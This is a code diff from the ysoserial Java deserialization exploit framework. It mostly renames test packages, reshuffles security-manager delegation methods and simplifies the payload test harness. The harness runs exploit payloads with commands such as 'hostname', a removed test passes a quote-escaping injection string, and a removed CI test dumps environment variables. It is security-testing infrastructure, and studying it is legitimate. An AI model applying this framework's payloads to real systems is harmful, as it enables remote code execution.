-    public boolean checkTopLevelWindow(Object window) {
-	    //return getSecurityManager().checkTopLevelWindow(window);
-        return true;
-    }
-
-    @SuppressWarnings({"deprecation"})
-    //@Override
-    public void checkSystemClipboardAccess() {
-	    //getSecurityManager().checkSystemClipboardAccess();
-    }
-
-    @SuppressWarnings({"deprecation"})
-    //@Override
-    public void checkAwtEventQueueAccess() {
-        //getSecurityManager().checkAwtEventQueueAccess();
-    }
-
-    @SuppressWarnings({"deprecation"})
-    //@Override
-    public void checkMemberAccess(Class<?> clazz, int which) {
-        //getSecurityManager().checkMemberAccess(clazz, which);
-    }
-
-    //END fixes for JDK10+ compatibility
-
 	@Override
 	public Object getSecurityContext() {
 		return getSecurityManager().getSecurityContext();
@@ -168,11 +138,29 @@ public class DelegateSecurityManager extends SecurityManager {
 		getSecurityManager().checkPropertyAccess(key);
 	}
 
+    @SuppressWarnings({"deprecation"})
+    @Override
+	public boolean checkTopLevelWindow(Object window) {
+		return getSecurityManager().checkTopLevelWindow(window);
+	}
+
 	@Override
 	public void checkPrintJobAccess() {
 		getSecurityManager().checkPrintJobAccess();
 	}
 
+    @SuppressWarnings({"deprecation"})
+    @Override
+	public void checkSystemClipboardAccess() {
+		getSecurityManager().checkSystemClipboardAccess();
+	}
+
+    @SuppressWarnings({"deprecation"})
+    @Override
+	public void checkAwtEventQueueAccess() {
+		getSecurityManager().checkAwtEventQueueAccess();
+	}
+
 	@Override
 	public void checkPackageAccess(String pkg) {
 
@@ -189,6 +177,12 @@ public class DelegateSecurityManager extends SecurityManager {
 		getSecurityManager().checkSetFactory();
 	}
 
+	@SuppressWarnings({"deprecation"})
+	@Override
+	public void checkMemberAccess(Class<?> clazz, int which) {
+		getSecurityManager().checkMemberAccess(clazz, which);
+	}
+
 	@Override
 	public void checkSecurityAccess(String target) {
 		getSecurityManager().checkSecurityAccess(target);

src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java

@@ -6,7 +6,6 @@ import java.util.LinkedList;
 import java.util.List;
 import java.util.concurrent.Callable;
 
-// TODO per-thread secmgr
 public class ExecCheckingSecurityManager extends SecurityManager {
 	public ExecCheckingSecurityManager() {
 		this(true);
@@ -42,6 +41,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		}
 	};
 
+
 	@SuppressWarnings("serial")
 	public static class ExecException extends RuntimeException {
 		private final String threadName = Thread.currentThread().getName();

src/test/java/ysoserial/CiTest.java

@@ -1,11 +0,0 @@
-package ysoserial;
-
-import org.junit.Test;
-
-public class CiTest {
-    @Test
-    public void test() {
-        System.out.println("System.getProperties(): " + System.getProperties());
-        System.out.println("System.getenv(): " + System.getenv());
-    }
-}

src/test/java/ysoserial/CustomDeserializer.java

@@ -1,4 +1,4 @@
-package ysoserial.test;
+package ysoserial;
 
 
 /**

src/test/java/ysoserial/CustomPayloadArgs.java

@@ -1,4 +1,4 @@
-package ysoserial.test;
+package ysoserial;
 
 
 /**

src/test/java/ysoserial/CustomTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test;
+package ysoserial;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/WrappedTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test;
+package ysoserial;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/exploit/RMIRegistryExploitTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test.exploit;
+package ysoserial.exploit;
 
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;

src/test/java/ysoserial/payloads/CommandExecTest.java

@@ -1,9 +1,9 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 import org.junit.Assert;
-import ysoserial.test.CustomTest;
+import ysoserial.CustomTest;
-import ysoserial.test.util.Files;
+import ysoserial.util.Files;
-import ysoserial.test.util.OS;
+import ysoserial.util.OS;
 
 import java.io.File;
 import java.util.UUID;
@@ -16,6 +16,7 @@ public class CommandExecTest implements CustomTest {
     @Override
     public void run(Callable<Object> payload) throws Exception {
         Assert.assertFalse("test file should not exist", testFile.exists());
+        Exception err;
         try {
             payload.call();
         } catch (Exception e) {

src/test/java/ysoserial/payloads/FileUploadTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 import java.io.File;
 import java.io.IOException;
@@ -9,8 +9,8 @@ import org.junit.Assert;
 
 import com.google.common.io.Files;
 
-import ysoserial.test.CustomTest;
+import ysoserial.CustomTest;
-import ysoserial.test.util.OS;
+import ysoserial.util.OS;
 
 /**
  * @author mbechler
@@ -47,13 +47,10 @@ public class FileUploadTest implements CustomTest {
             payload.call();
 
             File found = null;
-            for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
+            for ( File f : this.repo.listFiles()) {
-                for (File f : this.repo.listFiles()) {
                 found = f;
                 break;
             }
-                Thread.sleep(100);
-            }
             Assert.assertNotNull("File not copied", found);
             if (OS.get() != OS.WINDOWS) {
                 // windows' file locking seems to cause this to fail
@@ -63,21 +60,11 @@ public class FileUploadTest implements CustomTest {
         } finally {
             if ( this.repo.exists()) {
                 for ( File f : this.repo.listFiles()) {
-                    safeDeleteOnExit(f);
-                }
-                safeDeleteOnExit(this.repo);
-            }
-            safeDeleteOnExit(this.source);
-        }
-    }
-
-    private static void safeDeleteOnExit(File f) {
-        try {
-            if (f.exists()) {
                     f.deleteOnExit();
                 }
-        } catch (Exception e) {
+                this.repo.deleteOnExit();
-            e.printStackTrace();
+            }
+            this.source.deleteOnExit();
         }
     }
 

src/test/java/ysoserial/payloads/JRMPReverseConnectSMTest.java

@@ -1,10 +1,10 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 
 import java.net.URL;
 import java.util.concurrent.Callable;
 
-import ysoserial.test.WrappedTest;
+import ysoserial.WrappedTest;
 import ysoserial.exploit.JRMPListener;
 
 
@@ -30,7 +30,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
     /**
       * {@inheritDoc}
       *
-      * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
+      * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
       */
     @Override
     public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {

src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 
 import java.util.concurrent.Callable;
@@ -7,7 +7,7 @@ import javax.management.BadAttributeValueExpException;
 
 import org.junit.Assert;
 
-import ysoserial.test.CustomTest;
+import ysoserial.CustomTest;
 import ysoserial.exploit.JRMPListener;
 
 

src/test/java/ysoserial/payloads/MyfacesTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 
 import java.beans.FeatureDescriptor;
@@ -23,8 +23,7 @@ import org.mockito.Mockito;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
-import ysoserial.payloads.util.Reflections;
+import ysoserial.CustomDeserializer;
-import ysoserial.test.CustomDeserializer;
 import ysoserial.Deserializer;
 
 
@@ -143,7 +142,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
         @Override
         public Object call () throws Exception {
             java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
-            Reflections.setAccessible(setFC);
+            setFC.setAccessible(true);
             ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
             Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
             FacesContext ctx = createMockFacesContext();

src/test/java/ysoserial/payloads/PayloadsTest.java

@@ -1,44 +1,37 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 
-import java.io.ByteArrayOutputStream;
 import java.io.File;
-import java.io.OutputStream;
-import java.io.PrintStream;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.Callable;
 
 import org.jboss.shrinkwrap.resolver.api.maven.Maven;
+import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Result;
 import org.junit.runner.RunWith;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunListener;
 import org.junit.runners.Parameterized;
 import org.junit.runners.Parameterized.Parameters;
 
-import ysoserial.*;
+import ysoserial.CustomDeserializer;
-import ysoserial.payloads.DynamicDependencies;
+import ysoserial.CustomPayloadArgs;
-import ysoserial.payloads.ObjectPayload;
+import ysoserial.CustomTest;
-import ysoserial.test.CustomTest;
+import ysoserial.Deserializer;
-import ysoserial.test.CustomDeserializer;
+import ysoserial.Serializer;
-import ysoserial.test.CustomPayloadArgs;
+import ysoserial.util.Throwables;
-import ysoserial.test.WrappedTest;
+import ysoserial.WrappedTest;
-import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;
+import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
-import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
+import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.ClassFiles;
+import ysoserial.secmgr.ExecCheckingSecurityManager;
+import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
 
 
 /*
@@ -77,15 +70,12 @@ public class PayloadsTest {
 
     public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
             throws Exception {
-        System.out.println("Testing payload: " + payloadClass.getName());
-
         String command = "hostname";
+        String[] deps = buildDeps(payloadClass);
 
         PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
 
-        int tries = 1;
         if ( t != null ) {
-            if (System.getProperty("forceTests") == null) {
             if ( !t.skip().isEmpty() ) {
                 Assume.assumeTrue(t.skip(), false);
             }
@@ -95,12 +85,6 @@ public class PayloadsTest {
             }
         }
 
-            if (! t.flaky().isEmpty()) {
-                tries = 5;
-            }
-        }
-
-        String[] deps = buildDeps(payloadClass);
         String payloadCommand = command;
         Class<?> customDeserializer = null;
         Object testHarness = null;
@@ -115,37 +99,26 @@ public class PayloadsTest {
             testHarness = new CommandExecTest(); // default
         }
 
-        if ( testHarness instanceof CustomPayloadArgs) {
+        if ( testHarness instanceof CustomPayloadArgs ) {
             payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
         }
 
-        if ( testHarness instanceof CustomDeserializer) {
+        if ( testHarness instanceof CustomDeserializer ) {
             customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
         }
 
-        // TODO per-thread secmgr to enforce no detonation during deserialization
+        ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
-        final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
+        final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
         Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
-        if ( testHarness instanceof WrappedTest) {
+        if ( testHarness instanceof WrappedTest ) {
             callable = ( (WrappedTest) testHarness ).createCallable(callable);
         }
 
-        if (testHarness instanceof CustomTest) {
+        if ( testHarness instanceof CustomTest ) {
-            // if marked as flaky try up to 5 times
+            ( (CustomTest) testHarness ).run(callable);
-            Exception ex = new Exception();
+            return;
-            for (int i = 0; i < tries; i++) {
-                try {
-                    ((CustomTest) testHarness).run(callable);
-                    ex = null;
-                    break;
-                } catch (Exception e) {
-                    ex = e;
         }
     }
-            if (ex != null) throw ex;
-        }
-
-    }
 
 
 
@@ -200,12 +173,7 @@ public class PayloadsTest {
 
     static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
             throws Exception {
-        File[] jars = dependencies.length > 0
+        File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
-            ? Maven.configureResolver()
-                .withMavenCentralRepo(true)
-                .withRemoteRepo("jenkins", "http://repo.jenkins-ci.org/public/", "default")
-                .resolve(dependencies).withoutTransitivity().asFile()
-            : new File[0];
         URL[] urls = new URL[jars.length];
         for ( int i = 0; i < jars.length; i++ ) {
             urls[ i ] = jars[ i ].toURI().toURL();
@@ -251,92 +219,4 @@ public class PayloadsTest {
             Thread.currentThread().setContextClassLoader(ccl);
         }
     }
-
-    public static void main(String[] args) {
-
-        JUnitCore junit = new JUnitCore();
-        PayloadListener listener = new PayloadListener();
-        junit.addListener(listener);
-        Result result = junit.run(PayloadsTest.class);
-        System.exit(result.wasSuccessful() ? 0 : 1);
-    }
-
-    public static class StdIo {
-
-        private static final PrintStream realOut = System.out;
-        private static final PrintStream realErr = System.err;
-
-        public static void restoreStreams() {
-            setStreams(realOut, realErr);
-        }
-
-        public static void setStreams(PrintStream out, PrintStream err) {
-            System.setOut(out);
-            System.setErr(err);
-        }
-
-        public static void setStreams(OutputStream out, OutputStream err) {
-            setStreams(new PrintStream(out), new PrintStream(err));
-        }
-    }
-
-    public static class PayloadListener extends RunListener {
-        public enum Status {
-            SUCCESS,
-            FAILURE,
-            IGNORE,
-            ASSUMPTION_FAILURE
-        }
-
-        private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
-        private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
-
-        private Map<Description, Status> statuses = new HashMap<Description, Status>();
-
-        private Map<Description, Failure> failures = new HashMap<Description, Failure>();
-
-        @Override
-        public void testStarted(Description description) throws Exception {
-            System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
-
-            statuses.put(description, Status.SUCCESS);
-
-            ByteArrayOutputStream out = new ByteArrayOutputStream();
-//            ByteArrayOutputStream err = new ByteArrayOutputStream();
-
-            outs.put(description, out);
-//            errs.put(description, err);
-
-            StdIo.setStreams(out, out);
-        }
-
-        @Override
-        public void testFinished(Description description) throws Exception {
-            outs.get(description).close();
-            //errs.get(description).close();
-
-            StdIo.restoreStreams();
-
-            Status status = statuses.get(description);
-            System.out.println(getPayload(description.getDisplayName()) + ": " + status);
-            if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
-        }
-
-        @Override
-        public void testFailure(Failure failure) throws Exception {
-            statuses.put(failure.getDescription(), Status.FAILURE);
-            failures.put(failure.getDescription(), failure);
-        }
-
-        @Override
-        public void testAssumptionFailure(Failure failure) {
-            statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
-            failures.put(failure.getDescription(), failure);
-        }
-
-        // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
-        public static String getPayload(String displayName) {
-            return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
-        }
-    }
 }

src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 
 import java.io.ByteArrayInputStream;
@@ -12,7 +12,7 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
-import ysoserial.test.WrappedTest;
+import ysoserial.WrappedTest;
 
 
 /**

src/test/java/ysoserial/payloads/TestHarnessTest.java

@@ -1,4 +1,4 @@
-package ysoserial.test.payloads;
+package ysoserial.payloads;
 
 import java.io.IOException;
 import java.io.ObjectInputStream;
@@ -7,7 +7,6 @@ import java.io.Serializable;
 import org.hamcrest.CoreMatchers;
 import org.junit.Assert;
 import org.junit.Test;
-import ysoserial.payloads.ObjectPayload;
 
 public class TestHarnessTest {
 	// make sure test harness fails properly

src/test/java/ysoserial/test/util/GadgetsTest.java

@@ -1,14 +0,0 @@
-package ysoserial.test.util;
-
-import org.junit.Test;
-import ysoserial.payloads.util.Gadgets;
-
-public class GadgetsTest {
-    @Test
-    public void test_createTemplatesImpl_noCompilationError() throws Exception {
-        Gadgets.createTemplatesImpl("hostname");
-        Gadgets.createTemplatesImpl("echo 'foobar'");
-        Gadgets.createTemplatesImpl("echo \"foobar\"");
-        Gadgets.createTemplatesImpl("\"`';\\");
-    }
-}

src/test/java/ysoserial/util/Callables.java

@@ -1,4 +1,4 @@
-package ysoserial.test.util;
+package ysoserial.util;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/util/Files.java

@@ -1,4 +1,4 @@
-package ysoserial.test.util;
+package ysoserial.util;
 
 import java.io.File;
 

src/test/java/ysoserial/util/OS.java

@@ -1,4 +1,4 @@
-package ysoserial.test.util;
+package ysoserial.util;
 
 public enum OS {
     WINDOWS,

src/test/java/ysoserial/util/Throwables.java

@@ -1,4 +1,4 @@
-package ysoserial.test.util;
+package ysoserial.util;
 
 public class Throwables {
 	public static Throwable getInnermostCause(final Throwable t) {